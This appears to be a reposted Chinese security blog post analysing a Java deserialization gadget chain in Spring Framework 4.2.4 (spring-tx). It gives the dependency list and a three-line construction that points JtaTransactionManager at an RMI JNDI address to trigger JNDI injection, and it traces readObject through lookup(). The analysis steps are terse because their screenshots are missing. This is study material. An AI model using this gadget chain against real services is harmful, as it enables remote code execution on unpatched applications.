[Java安全]Java反序列化之spring-tx(Spring Framework 4.2.4)
Posted Y4tacker
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java安全]Java反序列化之spring-tx(Spring Framework 4.2.4)相关的知识,希望对你有一定的参考价值。
环境
依赖
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>4.2.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.2.4.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>javax.transaction-api</artifactId>
<version>1.2</version>
</dependency>
</dependencies>
分析
利用链构造
String jndiAddress = "rmi://127.0.0.1:1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
利用链分析
整个利用链是比较简单的,入口点在JtaTransactionManager
的readObject
方法,
不为Null
长度也大于0
这个lookup()函数符合JNDI注入的特征
继续跟入
是InitialContext
最后回调实现了JNDI注入
以上是关于[Java安全]Java反序列化之spring-tx(Spring Framework 4.2.4)的主要内容,如果未能解决你的问题,请参考以下文章
Java JSON 反序列化之殇(看雪2017安全开发者峰会演讲回顾11)
[Java安全]Java反序列化之spring-tx(Spring Framework 4.2.4)
[Java安全]Java反序列化之spring-tx(Spring Framework 4.2.4)